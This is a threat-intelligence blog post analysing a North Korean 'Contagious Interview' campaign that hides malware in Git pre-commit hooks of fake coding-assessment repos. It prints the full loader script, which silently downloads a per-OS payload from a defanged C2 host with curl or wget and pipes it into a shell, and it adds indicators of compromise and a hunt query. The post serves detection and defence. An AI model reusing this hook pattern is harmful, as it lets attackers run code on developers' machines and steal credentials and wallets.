Lazarus Group Uses Git Hooks To Hide Malware

By OpenSourceMalware.com

Published: 2026-05-06 · Archived: 2026-05-07 02:23:59 UTC

The OpenSourceMalware team has spotted a fresh twist in the DPRK's Contagious Interview / TaskJacker playbook: the operators have pivoted away from stuffing their stage-2 loader into `.vscode/tasks.json`, `package.json` postinstall scripts, or fake `.woff2` font files, and are now hiding it inside Git hooks. The candidate clones the "coding assessment" repo, and the loader fires before the commit object is even written.

What the hook actually does

The malicious `.githooks/pre-commit` script is short, which is the whole point — it's a thin loader that fingerprints the OS via `uname -s`, then curls or wgets a per-platform payload from `precommit.vercel.app` and pipes it straight into a shell or `cmd.exe`:

```
 #!/bin/sh
uname_s="$(uname -s 2>/dev/null || echo unknown)"
case "$uname_s" in
  Darwin)
    curl -s 'hxxps://precommit[.]vercel.app/settings/mac?flag=5' | sh >/dev/null 2>&1
    exit 0
    ;;
  Linux)
```

```
    wget -qO- 'hxxps://precommit[.]vercel.app/settings/linux?flag=5' | sh >/dev/null 2>&1
    exit 0
    ;;
  MINGW*|MSYS*|CYGWIN*)
    curl -s hxxps://precommit[.]vercel.app/settings/windows?flag=5 | cmd >/dev/null 2>&1
    exit 0
    ;;
  *)
    exit 0
    ;;
esac
```

A few things stand out. In typical DPRK fashion the C2 endpoint serves a different shell script per OS, so the operator can ship a Bash payload to macOS/Linux victims and a `cmd.exe`-compatible batch payload to anyone on Git Bash / MSYS / Cygwin on Windows. The `flag=5` query param is almost certainly a campaign/variant identifier — we've seen Contagious Interview operators use similar numeric flags across earlier sub-campaigns to track which lure delivered the click. Output is silently discarded with `>/dev/null 2>&1`, and the script always `exit 0`s so the commit succeeds and nothing looks broken to the developer.

The hostname `precommit[.]vercel.app` is the social-engineering layer. To anyone glancing at it, it reads like the official `pre-commit` framework's marketing site. It is not. It's a free Vercel deployment standing up a per-path payload server that the operators can spin up and tear down at will.

Why pre-commit hooks?

Pre-commit hooks are an almost ideal stage-2 trigger for this campaign:

- They're already part of the legitimate developer workflow — Husky, lint-staged, and `pre-commit` framework configs are everywhere, so a `.githooks/` directory raises zero suspicion.
- They run automatically the first time the candidate tries to "fix the bug and commit" — which is literally the task the fake recruiter assigned them.
- Most candidates who clone an interview repo will configure hooks via `git config core.hooksPath .githooks` (or have it set in a setup script) without reading what's inside.
- They sidestep VS Code entirely. Microsoft has finally started taking the `tasks.json` auto-execute problem seriously, and operators are clearly looking for the next dev-tool footgun.

It's the same Contagious Interview social engineering — fake recruiter, "coding assessment" repo, multi-stage loader pulling InvisibleFerret-style implants for crypto wallet and credential theft — just delivered through a different live wire.

What we're seeing

Across the sample we pulled today, the same pre-commit hook (identical content, identical SHA `3ebd9bb…`) was committed to several GitHub repositories that follow the standard Contagious Interview lure pattern: defi/crypto-token themed projects, freshly-created accounts, minimal commit history, and a "task" that requires the candidate

to actually run code locally. You can reproduce the hunt yourself with this GitHub code search: `path:**/pre-commit OR path:**/post-checkout content:"vercel.app"`. Additionally, the same threat actor group is using post-checkout hooks, which are even nastier s they will fire off any time you change branches.

If you're a developer being asked to clone a repo as part of an interview process — especially one in the crypto, DeFi, or web3 space — assume it's hostile until proven otherwise. Inspect `.githooks/`, `.husky/`, `.vscode/tasks.json`, and any `postinstall` script before doing anything else. Better yet, run the whole thing inside a disposable VM with no browser profile, no `~/.ssh`, and no wallet mounted.

Indicators of Compromise (IOCs)

C2 Infrastructure

```
hxxps://precommit[.]vercel.app/settings/mac?flag=5
hxxps://precommit[.]vercel.app/settings/linux?flag=5
hxxps://precommit[.]vercel.app/settings/windows?flag=5
precommit[.]vercel.app
```

File Indicators

```
.githooks/pre-commit
SHA-256 of observed loader: 3ebd9bb57d155cc7c3353660f54c153a094cdfbd (git blob SHA, multiple repos)
```

Hunt Query (GitHub code search)

```
path:**/pre-commit OR path:**/post-checkout content:"vercel.app"
```

Conclusion

This is the same DPRK actor, the same victim profile, the same end goal — they've just moved the trip-wire one step earlier in the developer workflow. Expect the loader location to keep mutating: anywhere a developer's tooling runs an arbitrary script automatically, Contagious Interview will eventually hide a payload there.

If you encounter similar repos or pre-commit hooks reaching out to suspicious infrastructure, please report them to OpenSourceMalware.com.

Stay safe out there.

Tags: #dprk #contagious-interview #taskjacker #lazarus #supply-chain #github

---

Source: https://opensourcemalware.com/blog/dprk-git-hooks-malware